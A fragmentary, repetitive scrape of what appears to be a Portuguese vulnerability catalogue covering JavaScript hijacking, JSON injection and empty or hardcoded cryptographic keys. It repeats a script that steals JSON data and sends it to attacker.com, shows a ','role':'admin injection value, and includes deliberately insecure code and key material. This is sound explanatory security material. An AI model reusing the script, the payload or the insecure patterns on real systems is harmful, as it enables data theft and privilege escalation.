ANYONE
.ANYONE
, isso indica que o controle de acesso para o aplicativo não foi totalmente pensado ou que o aplicativo está estruturado de tal forma que as restrições de controle de acesso razoáveis são impossíveis.ANYONE
permissão para invocar o método EJB do Employee
, denominado getSalary()
.
<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script>
mal-intencionada (já que tags <script>
geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username
e password
para o arquivo JSON localizado em C:\user_info.json
:
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue()
, os dados não confiáveis em username
e password
não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
fosse acrescentar ","role":"admin
ao seu nome de usuário ao inseri-lo no prompt que define o valor da variável username
, o JSON salvo em C:\user_info.json
seria:
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
Dictionary
com JsonConvert.DeserializeObject()
, da seguinte maneira:
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
username
, password
e role
no objeto Dictionary
seriam mallory
, Evil123!
e admin
, respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.username
e password
para o arquivo JSON localizado em ~/user_info.json
:
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username
e password
não serão validados para realizar escape de caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrárias, podendo modificar a estrutura serializada JSON. Neste exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
anexou ","role":"admin
quando ela inseriu seu nome de usuário, o JSON resultante salvo para ~/user_info.json
seria:
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory
.username
e password
para o arquivo JSON localizado em ~/user_info.json
:
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue()
, os dados não confiáveis em username
e password
não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
fosse acrescentar ","role":"admin
ao seu nome de usuário ao inseri-lo no prompt que define o valor da variável username
, o JSON salvo em ~/user_info.json
seria:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
HashMap
com JsonParser
do Jackson, da seguinte maneira:
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
username
, password
e role
no objeto HashMap
seriam mallory
, Evil123!
e admin
, respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name
não serão validados para escapar dos caracteres especiais relacionadas com o JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory
acrescentasse ","role":"admin
ao parâmetro nome na URL, o JSON se tornaria:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON()
e definido como um objeto simples, o que significa que obj.role
retornaria agora "admin" em vez de "user"_usernameField
e _passwordField
:
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat:
, os dados não confiáveis em _usernameField
e _passwordField
não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
anexasse ","role":"admin
ao nome de usuário dele ao digitá-lo no campo _usernameField
, o JSON resultante seria:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary
com NSJSONSerialization.JSONObjectWithData:
desta maneira:
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
username
, password
, e role
no objeto NSDictionary
seriam mallory
, Evil123!
, e admin
respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name
não serão validados para aplicar o escape de caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente alterando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory
anexasse ","role":"admin
ao parâmetro name na URL, o JSON se tornaria:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField
e passwordField
:
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField
e passwordField
não serão validados para realizar escape dos caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
anexasse ","role":"admin
ao nome de usuário dele ao digitá-lo no campo usernameField
, o JSON resultante seria:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary
com NSJSONSerialization.JSONObjectWithData:
desta maneira:
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
username
, password
, e role
no objeto NSDictionary
seriam mallory
, Evil123!
, e admin
respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele pode descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
Exemplo 1
pode ser executado com êxito, mas qualquer usuário com acesso a ele poderá descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC.
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
contenha um valor de senha forte e gerenciado de maneira adequada, passar o tamanho como zero resultará em um valor vazio, null
, ou em um valor de senha inesperadamente fraco.
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
contenha um valor de senha forte e gerenciado de maneira adequada, passar o tamanho como zero resultará em um valor vazio, null
, ou em um valor de senha inesperadamente fraco.
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações pode usá-las para comprometer dados criptografados pelo sistema.
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
Exemplo 2: O código a seguir realiza a criptografia AES usando uma chave de criptografia em código fixo:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...
hmacKey
embutida em código, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC.
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...
const pbkdfPassword = "a secret";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"secret",
6,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
Null
podem comprometer a segurança de uma maneira difícil de remediar.null
, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código incorreto estiver em produção, será necessário um patch de software para alterar a chave de criptografia null
. Se uma conta protegida pela chave de criptografia null
for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.null
:
...
var encryptionKey:ByteArray = null;
...
var aes.ICipher = Crypto.getCipher("aes-cbc", encryptionKey, padding);
...
null
